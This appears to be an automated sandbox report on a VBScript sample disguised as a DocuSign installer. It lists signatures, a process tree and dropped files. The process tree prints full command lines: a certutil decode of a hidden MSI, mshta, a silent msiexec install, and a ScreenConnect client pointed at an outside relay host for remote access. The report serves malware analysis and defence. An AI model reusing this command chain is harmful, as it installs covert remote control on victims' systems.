Analysis

  • max time kernel
    40s
  • max time network
    39s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 22:24

General

  • Target
    27fdc803b50d8b1ed05d87532bb2502b987f5136b08c6fac79ed7f020e48d618.vbs
  • Size 5.0MB
  • Sample260808-2bvfdswakc
  • SHA256 27fdc803b50d8b1ed05d87532bb2502b987f5136b08c6fac79ed7f020e48d618
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\27fdc803b50d8b1ed05d87532bb2502b987f5136b08c6fac79ed7f020e48d618.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\27fdc803b50d8b1ed05d87532bb2502b987f5136b08c6fac79ed7f020e48d618.vbs" /elevated
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:5656
      • C:\Windows\System32\certutil.exe
        "C:\Windows\System32\certutil.exe" -f -decode "C:\Users\Admin\AppData\Local\Temp\DocusignSetup_1D6CE17F\unsigned_msi.b64" "C:\Users\Admin\AppData\Local\Temp\DocusignSetup_1D6CE17F\unsigned.msi"
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:3296
      • C:\Windows\System32\mshta.exe
        mshta.exe "C:\Users\Admin\AppData\Local\Temp\DocusignSetup_1D6CE17F\DocuSignProgress.hta"
        3⤵
        • Badlisted process makes network request
        PID:3284
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\DocusignSetup_1D6CE17F\unsigned.msi" /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4544
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3B2BC0433B445A67F90DABD5118C1871
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI4A6D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240733062 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2252
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 70230AEE1504410281CBF55098C56D85 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:6112
  • C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=magicsession.pro&p=8041&s=7c9f2f08-aab5-46e0-81fb-3e4aeda2fd96&k=BgIAAACkAABSU0ExAAgAAAEAAQCZcJmd3aGijtYNIfnywyCxstWYLWo67%2bUXdJp%2bV%2fDKo2q61Ags5%2bz7Mo8PO%2bAaKgzXRZhyNOGBmEZnAU8s%2b1OuTAQLWvTz6powVAviLa5N7uw8j%2fsyUut2j5mzip6pU4sJ0vp4eQ%2biPmNx2JkMDtOgsCGuKvbr5GL5IbM%2ffAYOkROMnSyM1gpMUhwim9Z2132TGOoXR10hsGrHtTvuNgVNywK3DYijlKbrpgdJqbtDewl1jQbebeWScWybRtPZB8iW1jgY7D%2bn2dGVfu9Eekq%2fXjUDj%2bH90BWtcCbqYRka7X9vFNoAjyEqXP9kf9UV7wjgwQ4pwXjSXih2XZ2zjI6y"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5396
    • C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe" "RunRole" "236864c5-f0da-43b4-9649-a840b8341603" "User"
      2⤵
      • Executes dropped EXE
      PID:1700
    • C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe" "RunRole" "9a95d59a-ff5b-4878-add6-1a73e14e7b29" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:2968

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e59481e.rbs

        • Path C:\Config.Msi\e59481e.rbs
        • Size 214KB
        • SHA256 a402049e714d713e37e8dc97c9370710288379c6656f88a82826f06d71ddb147
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.Override.en-US.resources
        • Size 297B
        • SHA256 faa825cd450250b700750462391bda361a4b28f12c69f82edbd0ef2e22172969
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.Override.resources
        • Size 54KB
        • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.en-US.resources
        • Size 47KB
        • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\app.config
        • Size 2KB
        • SHA256 51e8c31e6fc4f7658b90d995b36d8d12a3017d99358278a59f868343c957c0c9
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (be89953dd25b3421)\system.config
        • Size 946B
        • SHA256 0bd83ced421a7d167677004c42eddc41dceeec764fcf243b7e1b57c2fe13e909
        • MD5 SHA1 SHA512 TLSH

        DocuSignProgress.hta

        • Path C:\Users\Admin\AppData\Local\Temp\DocusignSetup_1D6CE17F\DocuSignProgress.hta
        • Size 1KB
        • SHA256 34a95fe32b88b4a99712477ffa812db408d9943a46518ca812f4c2725d3a6a2d
        • MD5 SHA1 SHA512 TLSH

        unsigned.msi

        • Path C:\Users\Admin\AppData\Local\Temp\DocusignSetup_1D6CE17F\unsigned.msi
        • Size 3.0MB
        • SHA256 0b79da8799d3d4e0c9243b19b171d376935e4b1a3ba8455ec440626f99f68ded
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unsigned_msi.b64

        • Path C:\Users\Admin\AppData\Local\Temp\DocusignSetup_1D6CE17F\unsigned_msi.b64
        • Size 4.2MB
        • SHA256 e53bf2de46a2865152242c3f56e20b42005b39acbceea087aba1e076e8d0f6b8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI4A6D.tmp

        • Path C:\Windows\Installer\MSI4A6D.tmp
        • Size 1.0MB
        • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI4A6D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI4A6D.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI4A6D.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI4A6D.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI5089.tmp

        • Path C:\Windows\Installer\MSI5089.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1700-130-0x000000001B6D0000-0x000000001B858000-memory.dmp

        memory/1700-127-0x0000000002310000-0x0000000002346000-memory.dmp

        memory/1700-126-0x0000000000130000-0x00000000001C8000-memory.dmp

        memory/1700-128-0x000000001AF30000-0x000000001AFBE000-memory.dmp

        memory/1700-129-0x000000001B390000-0x000000001B53C000-memory.dmp

        memory/1700-131-0x0000000002350000-0x0000000002368000-memory.dmp

        memory/1700-132-0x00000000024B0000-0x00000000024C8000-memory.dmp

        memory/2252-33-0x0000000005350000-0x000000000537E000-memory.dmp

        memory/2252-37-0x0000000005390000-0x000000000539A000-memory.dmp

        memory/2252-46-0x0000000005E50000-0x000000000640A000-memory.dmp

        memory/2252-45-0x00000000056E0000-0x000000000588C000-memory.dmp

        memory/2252-41-0x00000000054A0000-0x000000000552E000-memory.dmp

        memory/2968-134-0x000000001D150000-0x000000001D240000-memory.dmp

        memory/5396-116-0x0000000004600000-0x00000000046D5000-memory.dmp

        memory/5396-114-0x0000000004600000-0x0000000004641000-memory.dmp

        memory/5396-112-0x00000000048D0000-0x0000000004962000-memory.dmp

        memory/5396-110-0x00000000045C0000-0x00000000045F6000-memory.dmp

        memory/5396-98-0x0000000004570000-0x00000000045C0000-memory.dmp

        memory/5396-85-0x0000000001EB0000-0x0000000001EC8000-memory.dmp